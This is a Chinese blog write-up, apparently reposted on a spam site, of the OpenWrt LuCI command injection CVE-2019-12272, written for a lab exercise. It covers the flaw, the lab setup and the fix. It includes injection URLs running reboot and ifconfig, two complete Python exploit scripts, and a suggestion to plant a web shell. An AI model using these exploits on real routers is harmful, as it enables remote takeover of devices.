当前位置: 首页 > news >正文

销售一个产品的网站怎么做昆山网站建设官网

销售一个产品的网站怎么做,昆山网站建设官网,自建网站营销是什么,织梦搭建商城网站声明 本文所使用的一些源代码等内容已经上传至github#xff0c;具体地址如下 Vulnerability_POC-EXP/OpenWrt/CVE-2019-12272 at main a2148001284/Vulnerability_POC-EXP GitHub 漏洞简介 参考内容#xff1a; CVE-2019-12272 OpenWrt图形化管理界面LuCI命令注入分析 |…声明 本文所使用的一些源代码等内容已经上传至github具体地址如下 Vulnerability_POC-EXP/OpenWrt/CVE-2019-12272 at main · a2148001284/Vulnerability_POC-EXP · GitHub 漏洞简介 参考内容 CVE-2019-12272 OpenWrt图形化管理界面LuCI命令注入分析 | Math Sec HACHp1的个人博客 CVE-2019-12272 OpenWrt图形化管理界面LuCI命令注入分析_openwrt 图形界面-CSDN博客 exploits/CVE-2019-12272 at master · oreosES/exploits · GitHub OpenWrt LuCI是一款用于OpenWrtLinux发行版的图形化配置界面 OpenWrt LuCI 0.10及之前版本中的admin/status/realtime/bandwidth_status和admin/status/realtime/wireless_status端点存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。 漏洞原理分析 正如现在十分流行的SpringBoot框架一样Luci也采用了MVC的三层架构开发主要是采用的lua脚本进行的开发。同样会从controller进入找到相应的model进行处理。 核心程序目录在controller下的admin下的status.lua文件中 漏洞所在位置是realtime接口的bandwidth_status函数或者wireless_status函数 具体流程是通过控制器进入了index.lua的路由后使用dispatcher的call回调函数调用action_bandwidth函数 首先是call函数 之后会进入action_bandwidth函数 url解析路由之后的部分将被当做参数iface传入在上图的代码66行中参数没有经过任何过滤直接通过%q拼接到了相应的内容当中。且%q默认会将传入的内容iface包裹上一个双引号后拼接进去。举个例子如果iface是aaa 那么传入拼接以后就变成了luci -bwc -i aaa 2/dev/null 那么当通过io.popen来执行命令的时候在bash权限情况下如果我们输入的iface参数的数值为$()那么加上有了双引号的包裹$()的内容可能会被当作命令执行从而导致了远程命令执行漏洞有点类似于SQL注入没有过滤参数的感觉。 所以漏洞主要的点就在于这个函数没有过滤上。 漏洞环境搭建 本次实验我们采用的openwrt的版本是Chaos Calmer OpenWrt 15.05.1 具体实验环境的下载地址如下 https://archive.openwrt.org/chaos_calmer/15.05.1/x86/64/openwrt-15.05.1-x86-64-combined-ext4.img.gz ps切记选择镜像的时候 要选择x86下的64的镜像 选择错的话 可能windows下没有办法运行或者vmware启动后会出错 选择一定要严格选择镜像的版本 我们采用和之前2020-7982漏洞相同的安装和部署方式详情见CVE-2020-7982 OpenWrt 远程命令执行漏洞学习完结_openwrt 漏洞-CSDN博客 我们也将其转换完格式后导入到vmware中并且也确保其和kali的网络是可以互相ping通相互访问的后续的攻击操作我们都将在kali机器中进行模拟。 具体的格式转换如下图 qemu-img.exe convert -O vmdk openwrt-15.05.1-x86-64-combined-ext4.img 15.05.1.vmdk 转换完毕后我们尝试导入到vmware中进行安装 安装时记得选择 指定完我们转换完的磁盘后就可以成功在vmware中运行 PS本人不明白是系统存在问题还是什么原因我的电脑按照以上操作完成后在vmware启动虚拟机时会出现卡住在某些黑框命令的情况很长时间没有反应读者可以先尝试以上办法不可行再尝试一下方案。 接下来我参考了别人一篇的办法将网络设置为了dhcp的连接方案虽然此时kali不能够访问到openwrt但是主机本身可以通过localhost访问到目标主机且切记只有本文符合要求的15.05.1的openwrt的版本才具备http的功能才能成功的将源代码通过http的方式下载下来本人亲测所以强烈建议以本文提供的镜像为实验环境如果有大牛有别的下载源代码的方法欢迎讨论。 环境部署参考重点是qemu启动时候的参数要学习一下 【安装笔记-20240520-Windows-在 QEMU 中尝试运行 OpenWRT】_qemu openwrt-CSDN博客 【调试笔记-20240525-Windows-配置 QEMU/x86_64 运行 OpenWrt-23.05 发行版并搭建 WordPress 博客网站】_qemu安装openwrt-CSDN博客 我们将镜像openwrt-15.05.1-x86-generic-combined-ext4.img放到qemu的启动目录下cmd下执行如下的命令即可成功的启动openwrt的镜像。 qemu-system-x86_64.exe -cpu Penryn,vendorGenuineIntel,ssse3,sse4.2 -m 256 -hda openwrt-15.05.1-x86-generic-combined-ext4.img -netdev user,idhn0,hostfwdtcp::80-:80,hostfwdtcp::50022-:22 -device e1000,netdevhn0,idnic1 -net nic,modelvirtio -net user -display sdl 之后我们把联网的方式重置为dhcp的方式用如下的命令 uci set network.lan.protodhcp uci commit network service network restart 如果你的版本不兼容命令service network restart本文的系统也不兼容则将这条命令替换为如下的命令重启服务也可以 /etc/init.d/network restart 此时可以尝试是否可以ping通百度判断是否可以联网 之后我们去自己的本主机访问localhost看是否可以访问到路由器的uhttpd的luci图形化页面。 至此我们实验所需要使用的环境就算部署完了我们后续的攻击模拟操作会在本主机来进行。 但是为了便于我们对于漏洞原理更好的理解和分析我们需要把luci的源代码下载下来。 我们可以通过如下命令进入到luci的目录 cd /usr/lib/lua/luci 进入以后我们通过如下的命令将当前目录下的全部内容进行打包 tar -zcvf code.tar.gz * 将所有的内容打包为code.tar.gz 我们可以将这个文件移动到http这个文件夹下这是luci当前版本所提供的方法可以直接通过http的协议来下载目录下的文件 mv ./code.tar.gz ./http/code.tar.gz 除此以外还有另外两种方法可以完成文件的传输。第一种是在挂载的时候指定-virtfs参数来指定共享文件夹后续可以通过这个文件夹来与主机共享文件。 可以参考在QEMU虚拟机和宿主机之间传输文件_qemu虚拟机文件拷贝-CSDN博客 本文将第三种方法再演示一下由于一开始挂载的命令中将虚拟机的22端口做了映射映射到了本机的50022端口命令是hostfwdtcp::50022-:22。所以我们可以先把虚拟机的密码进行一下修改 修改完成后本文采用的镜像默认启动了ssh服务我们可以通过bitvise或者finalshell等工具进行ssh的连接这里不再赘述 之后可以通过SFTP的服务来传输文件。 也可以自行在命令行通过ssh服务来传输文件 可以在windows终端输入如下命令 scp root127.0.0.1:/usr/lib/lua/luci/http/code.tar.gz ./code.tar.gz 本文由于ssh端口被映射到了50022 要通过-P指定端口 scp -P 50022 root127.0.0.1:/usr/lib/lua/luci/http/code.tar.gz ./code.tar.gz 传输完毕 接下来我们会结合这个代码来分析漏洞原理 漏洞利用 首先我们可以通过POC进行漏洞利用的验证 http://127.0.0.1/cgi-bin/luci/admin/status/realtime/bandwidth_status/eth0$(idcmd) 其中idcmd也就是eth0$()括号中的内容就是linux系统即将执行的命令 一般执行命令没有什么明显的回显可以尝试把命令写成reboot如果系统重启了也就证明漏洞被成功利用了。 还有另一种情况测试以上poc以后页面不变那么我们可以尝试先登录 登录完成以后页面的url会改变 这个stok有点类似于我们的cookie或者session我们可以在这段内容的基础上再加入命令 http://127.0.0.1/cgi-bin/luci/;stok5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$() 能出现回显说明命令可以成功执行 比如我们测试一下 ifconfig http://127.0.0.1/cgi-bin/luci/;stok5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$(ifconfig) 没有明显的回显 我们可以测试如reboot这种重启的命令 http://127.0.0.1/cgi-bin/luci/;stok5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$(reboot) 执行之前的系统如下 点击执行的瞬间 很明显 reboot重启指令被成功的执行了 所以POC成功的验证了命令执行这个功能 接下来我们可以尝试用python写一个exp 来利用这个漏洞 cve-2019-12272_bandwidth_status.py #!/usr/bin/python3import argparse import json import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def exploit(args):try:address args.addressusername args.usernamepassword args.passwordcommand args.commandsession requests.Session()url http://%s/cgi-bin/luci/admin/status/realtime/bandwidth_status/eth0$(%soutput.txt) % ( address,command ) # 将执行结果写入output.txt文件data {luci_username:username,luci_password:password}response session.post(urlurl,datadata,verifyFalse)url http://%s/output.txt % address # 获取output.txt内容response session.get(urlurl,verifyFalse)print([] out\nresponse.text)except:print([-] not exploitable)def main():parser argparse.ArgumentParser(descriptioncve-2019-12272.py)requiredNamed parser.add_argument_group(required named arguments)requiredNamed.add_argument(-a, --address, help地址, requiredTrue)requiredNamed.add_argument(-u, --username, helpusername, requiredTrue)requiredNamed.add_argument(-p, --password, helppassword, requiredTrue)requiredNamed.add_argument(-c, --command, help待执行命令, requiredTrue)args parser.parse_args()exploit(args)if __name__ __main__:main() 使用方法 python .\cve-2019-12272_bandwidth_status.py -a 192.168.153.4 -u root -p root -c ls cve-2019-12272_wireless_status.py #!/usr/bin/python3import argparse import json import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def exploit(args):try:address args.addressusername args.usernamepassword args.passwordcommand args.commandsession requests.Session()url http://%s/cgi-bin/luci/admin/status/realtime/wireless_status/eth0$(%soutput.txt) % ( address,command ) # 将执行结果写入output.txt文件data {luci_username:username,luci_password:password}response session.post(urlurl,datadata,verifyFalse)url http://%s/output.txt % address # 获取output.txt内容response session.get(urlurl,verifyFalse)print([] out\nresponse.text)except:print([-] not exploitable)def main():parser argparse.ArgumentParser(descriptioncve-2019-12272.py)requiredNamed parser.add_argument_group(required named arguments)requiredNamed.add_argument(-a, --address, help地址, requiredTrue)requiredNamed.add_argument(-u, --username, helpusername, requiredTrue)requiredNamed.add_argument(-p, --password, helppassword, requiredTrue)requiredNamed.add_argument(-c, --command, help待执行命令, requiredTrue)args parser.parse_args()exploit(args)if __name__ __main__:main() 使用方法 python .\cve-2019-12272_wireless_status.py -a 192.168.153.4 -u root -p root -c ls 这种exp脚本的编写和web的各种基础漏洞的利用如用一句话木马连接shell等都很类似所以这里就不赘述exp的原理了很简单。 我们大可以尝试直接不用exp就页面上写个命令写入一个一句话木马到木马文件然后连接使用就可以了很简单。 http://127.0.0.1/cgi-bin/luci/;stoka99b4c2bcb3936bf7fd3c5fc8621b521/admin/status/realtime/bandwidth_status/eth0$(ifconfig a.txt) 如果命令被成功执行的话其回显是有内容的 如果回显的内容是空的[]说明没有被成功执行 我们执行了将ifconfig的内容写到a.txt 我们可以在当前目录下找到 漏洞修复 对于修复后的版本其使用了gsub函数将iface参数中的单引号去除掉然后在最外层加上了单引号这样整个iface就会被当做字符串而不会被当作命令来执行了。只有双引号括起来才有可能被当作命令去执行。
http://www.dnsts.com.cn/news/277816.html

相关文章:

  • 太原网站建设找山西云起时企业网站推广哪家公司好
  • 查域名网站网站快照回档
  • 网站开发与桌面应用开发WordPress自动采集豆瓣评分
  • 网站维护的要求包括海口网站建设方面
  • 服装高端网站建设模板站怎么改成营销型网站
  • 网站源码编辑软件wordpress产品详情页按钮
  • 体育西网站开发定制十大国外室内设计网站
  • 飞猪旅游的网站建设网站的二级页面在哪里做
  • 个体经营可以建设网站吗导航 网站 分析
  • 开创集团网站建设网站的意义
  • 698元网站建设网易免费企业邮箱注册申请
  • 网站定制开发 团队建设留学网站
  • 龙华网页设计公司网站怎么做阿里巴巴官网站
  • 网站的备案的要多少钱网站详情页用cdr做可以吗
  • 网站建设如何开票指数函数图像
  • 建站免费平台网页版查询系统制作
  • 网络营销中网站的目的是企业邮箱免费注册入口
  • 布吉网站建设找哪家公司好无网站无产品链接如何做SOHO
  • 优化网站建设人员组成ps网页设计教程视频
  • 交通门户网站建设私人定制app
  • 设计网站官网狗哈尔滨网站建设制作哪家好
  • 紫色的网站电商网站代码设计
  • 诸城网站制作宿迁公司做网站
  • 品牌网站设计制作哪家好贵阳建设企业网站
  • 查一下红之易道学做的什么网站兼职设计师平台
  • 洪栾单页网站建设零距离seo
  • 网站建设是编程吗seo移动网站页面怎么做
  • 建设网站目的是什么苏州市吴中区建设局网站
  • 上海人才网官网登录不进去seo教程之关键词是什么
  • 扁平化色块风格的网站阿里图标库谁做的网站